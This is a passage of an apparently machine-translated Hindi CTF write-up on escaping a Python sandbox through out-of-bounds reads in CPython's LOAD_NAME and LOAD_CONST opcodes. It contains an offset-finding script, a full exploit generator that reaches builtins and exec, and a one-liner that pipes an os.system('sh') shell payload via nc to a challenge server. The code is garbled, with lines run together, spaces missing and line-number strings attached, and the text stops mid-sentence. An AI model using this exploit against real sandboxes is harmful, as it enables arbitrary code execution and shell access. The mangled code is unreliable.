हम LOAD_NAME / LOAD_CONST ऑपकोड में OOB पठन की सुविधा का उपयोग कर सकते हैं ताकि हम कुछ प्रतीक को मेमोरी में प्राप्त कर सकें। जिसका मतलब है ट्रिक का उपयोग करना (a, b, c, ... सैकड़ों प्रतीक ..., __getattribute__) if [] else [].__getattribute__(...) जैसे किसी प्रतीक (जैसे फ़ंक्शन का नाम) को प्राप्त करना।
लेकिन अगर co_names खाली टपल में बदल जाएं? LOAD_NAME 2 ओपकोड फिर भी क्रियान्वित होता है, और उस मेमोरी पते से मान पढ़ने की कोशिश करता है जिस पर यह मूल रूप से होना चाहिए था। हाँ, यह एक आउट-ऑफ-बाउंड पढ़ने "सुविधा" है।
समाधान के लिए मूल अवधारणा सरल है। CPython में कुछ ओपकोड जैसे LOAD_NAME और LOAD_CONST OOB पढ़ने के लिए भेद्य (?) हैं।
वे consts या names टपल से इंडेक्स oparg से एक ऑब्जेक्ट पुनः प्राप्त करते हैं (जो co_consts और co_names को अंदर से नामित किया जाता है)। हम LOAD_CONST के बारे में निम्नलिखित छोटे स्निपेट का संदर्भ ले सकते हैं ताकि हम देख सकें कि CPython LOAD_CONST ओपकोड को प्रोसेस करते समय क्या करता है।
case TARGET(LOAD_CONST): {PREDICTED(LOAD_CONST);PyObject *value =GETITEM(consts, oparg);Py_INCREF(value);PUSH(value);FAST_DISPATCH();}1234567
इस तरह हम OOB फीचर का उपयोग करके किसी भी मेमोरी ऑफसेट से "नाम" प्राप्त कर सकते हैं। नाम क्या है और इसका ऑफसेट क्या है, यह सुनिश्चित करने के लिए, बस LOAD_NAME 0, LOAD_NAME 1 ... LOAD_NAME 99 ... को कोशिश करते रहें। और आपको लगभग oparg > 700 में कुछ मिल सकता है। आप gdb का उपयोग करके मेमोरी लेआउट की झलक देखने की कोशिश भी कर सकते हैं, लेकिन मुझे लगता है कि यह और अधिक सरल नहीं होगा?
एक्सप्लॉइट उत्पन्न करना
नाम / स्थिरांकों के लिए उपयोगी ऑफसेट प्राप्त करने के बाद, हम उस ऑफसेट से नाम / स्थिरांक कैसे प्राप्त करें और उसका उपयोग करें? यहाँ एक ट्रिक है:
चलिए मान लेते हैं हम ऑफसेट 5 (LOAD_NAME 5) से __getattribute__ नाम प्राप्त कर सकते हैं co_names=() के साथ, तो बस निम्नलिखित कार्रवाई करें:
[a,b,c,d,e,__getattribute__] if [] else [[].__getattribute__# you can get the __getattribute__ method of list object now!]1234
ध्यान दें कि इसे __getattribute__ के रूप में नाम देना आवश्यक नहीं है, आप इसे कुछ छोटा या अधिक अजीब नाम दे सकते हैं।
ध्यान दें कि LOAD_ATTR भी co_names से नाम प्राप्त करता है। Python नाम को एक ही ऑफसेट से लोड करता है अगर नाम समान है, इसलिए दूसरा __getattribute__ भी ऑफसेट=5 से लोड होता है। इस सुविधा का उपयोग करके हम एक बार नाम मेमोरी के पास होने परित्याग कर सकते हैं।
संख्याएँ उत्पन्न करने के लिए सरल होना चाहिए:
0: not [[]]
1: not []
2: (not []) + (not [])
...
शोषण स्क्रिप्ट
मैंने लंबाई सीमा के कारण संख्याओं का उपयोग नहीं किया।
पहले यहाँ एक स्क्रिप्ट है जिसका हमें उन नामों के ऑफसेट पता करने के लिए उपयोग करना है।
from types import CodeTypefrom opcode import opmapfrom sys import argvclassMockBuiltins(dict):def__getitem__(self,k):iftype(k)==str:return kif__name__=='__main__':n =int(argv[1])code = [*([opmap['EXTENDED_ARG'], n //256]if n //256!=0else []),opmap['LOAD_NAME'], n %256,opmap['RETURN_VALUE'],0]c =CodeType(0, 0, 0, 0, 0, 0,bytes(code),(), (), (), '<sandbox>', '<eval>', 0, b'', ())ret =eval(c, {'__builtins__': MockBuiltins()})if ret:print(f'{n}: {ret}')# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
और निम्नलिखित वास्तविक Python उत्पीड़न उत्पन्न करने के लिए है।
import sysimport unicodedataclassGenerator:# get numnerdef__call__(self,num):if num ==0:return'(not[[]])'return'('+ ('(not[])+'* num)[:-1] +')'# get stringdef__getattribute__(self,name):try:offset =None.__dir__().index(name)returnf'keys[{self(offset)}]'exceptValueError:offset =None.__class__.__dir__(None.__class__).index(name)returnf'keys2[{self(offset)}]'_ =Generator()names = []chr_code =0for x inrange(4700):whileTrue:chr_code +=1char = unicodedata.normalize('NFKC', chr(chr_code))if char.isidentifier()and char notin names:names.append(char)breakoffsets ={"__delitem__":2800,"__getattribute__":2850,'__dir__':4693,'__repr__':2128,}variables = ('keys','keys2','None_','NoneType','m_repr','globals','builtins',)for name, offset in offsets.items():names[offset]= namefor i, var inenumerate(variables):assert var notin offsetsnames[792+ i]= varsource =f'''[({",".join(names)}) if [] else [],None_ := [[]].__delitem__({_(0)}),keys := None_.__dir__(),NoneType := None_.__getattribute__({_.__class__}),keys2 := NoneType.__dir__(NoneType),get := NoneType.__getattribute__,m_repr := get(get(get([],{_.__class__}),{_.__base__}),{_.__subclasses__})()[-{_(2)}].__repr__,globals := get(m_repr, m_repr.__dir__()[{_(6)}]),builtins := globals[[*globals][{_(7)}]],builtins[[*builtins][{_(19)}]](builtins[[*builtins][{_(28)}]](), builtins)]'''.strip().replace('\n', '').replace(' ', '')print(f"{len(source) = }", file=sys.stderr)print(source)# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
यह मुख्य रूप से निम्नलिखित कार्य करता है, उन स्ट्रिंग्स के लिए जो हम __dir__ विधि से प्राप्त करते हैं: